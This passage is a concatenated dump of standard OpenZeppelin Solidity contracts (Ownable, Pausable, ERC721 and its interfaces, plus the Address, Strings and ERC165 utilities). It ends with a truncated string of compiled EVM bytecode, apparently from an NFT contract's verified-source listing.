deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106102935760003560e01c80636352211e1161015a578063a475b5dd116100c1578063d0c62dce1161007a578063d0c62dce14610799578063da3ef23f146107b9578063e5a85d27146107d9578063e985e9c514610812578063f2c4ce1e1461085b578063f2fde38b1461087b57600080fd5b8063a475b5dd146106f9578063b874ff431461070e578063b88d4fde14610724578063bcc9ca5b14610744578063c668286214610764578063c87b56dd1461077957600080fd5b80637f00c7a6116101135780637f00c7a61461065e5780638456cb591461067e5780638da5cb5b1461069357806395d89b41146106b1578063a0712d68146106c6578063a22cb465146106d957600080fd5b80636352211e146105be578063684c80df146105de5780636c0360eb146105fe57806370a0823114610613578063715018a614610633578063758b4e861461064857600080fd5b80632f745c59116101fe57806344a0d68a116101b757806344a0d68a1461050a5780634f6ccce71461052a578063518302271461054a57806355f804b3146105695780635c975abb146105895780636007eeed146105a857600080fd5b80632f745c59146104665780633614bea7146104865780633ccfd60b146104a05780633f4ba83a146104a857806342842e0e146104bd578063438b6300146104dd57600080fd5b806313faede61161025057806313faede61461037e57806318160ddd146103a257806318cae269146103b757806323b872dd146103e45780632848aeaf1461040457806329f767e81461044657600080fd5b806301ffc9a71461029857806306fdde03146102cd578063081812fc146102ef578063081c8c4414610327578063095ea7b31461033c5780630e2d56cf1461035e575b600080fd5b3480156102a457600080fd5b506102b86102b33660046129fd565b61089b565b60405190151581526020015b60405180910390f35b3480156102d957600080fd5b506102e26108c6565b6040516102c49190612c7b565b3480156102fb57600080fd5b5061030f61030a366004612a7b565b610958565b6040516001600160a01b0390911681526020016102c4565b34801561033357600080fd5b506102e26109f2565b34801561034857600080fd5b5061035c61035736600461293b565b610a80565b005b34801561036a57600080fd5b5061035c6103793660046129e3565b610b96565b34801561038a57600080fd5b50610394600e5481565b6040519081526020016102c4565b3480156103ae57600080fd5b50600854610394565b3480156103c357600080fd5b506103946103d2366004612812565b60136020526000908152604090205481565b3480156103f057600080fd5b5061035c6103ff36600461285e565b610c07565b34801561041057600080fd5b5061043461041f366004612812565b60126020526000908152604090205460ff1681565b60405160ff90911681526020016102c4565b34801561045257600080fd5b5061035c610461366004612a7b565b610c38565b34801561047257600080fd5b5061039461048136600461293b565b610c95565b34801561049257600080fd5b506011546104349060ff1681565b61035c610d2b565b3480156104b457600080fd5b5061035c610e13565b3480156104c957600080fd5b5061035c6104d836600461285e565b610e47565b3480156104e957600080fd5b506104fd6104f8366004612812565b610e62565b6040516102c49190612c37565b34801561051657600080fd5b5061035c610525366004612a7b565b610f20565b34801561053657600080fd5b50610394610545366004612a7b565b610f7d565b34801561055657600080fd5b506011546102b890610100900460ff1681565b34801561057557600080fd5b5061035c610584366004612a35565b61101e565b34801561059557600080fd5b50600a54600160a01b900460ff166102b8565b3480156105b457600080fd5b5061039460105481565b3480156105ca57600080fd5b5061030f6105d9366004612a7b565b61109e565b3480156105ea57600080fd5b5061035c6105f9366004612a93565b611115565b34801561060a57600080fd5b506102e2611187565b34801561061f57600080fd5b5061039461062e366004612812565b611194565b34801561063f57600080fd5b5061035c61121b565b34801561065457600080fd5b5061039461106881565b34801561066a57600080fd5b5061035c610679366004612a7b565b61124f565b34801561068a57600080fd5b5061035c6112ac565b34801561069f57600080fd5b50600a546001600160a01b031661030f565b3480156106bd57600080fd5b506102e26112de565b61035c6106d4366004612a7b565b6112ed565b3480156106e557600080fd5b5061035c6106f4366004612912565b611581565b34801561070557600080fd5b5061035c61158c565b34801561071a57600080fd5b50610394600f5481565b34801561073057600080fd5b5061035c61073f366004612899565b6115fc565b34801561075057600080fd5b506011546102b89062010000900460ff1681565b34801561077057600080fd5b506102e2611634565b34801561078557600080fd5b506102e2610794366004612a7b565b611641565b3480156107a557600080fd5b5061035c6107b4366004612964565b6117c0565b3480156107c557600080fd5b5061035c6107d4366004612a35565b6118b4565b3480156107e557600080fd5b506104346107f4366004612812565b6001600160a01b031660009081526012602052604090205460ff1690565b34801561081e57600080fd5b506102b861082d36600461282c565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561086757600080fd5b5061035c610876366004612a35565b611934565b34801561088757600080fd5b5061035c610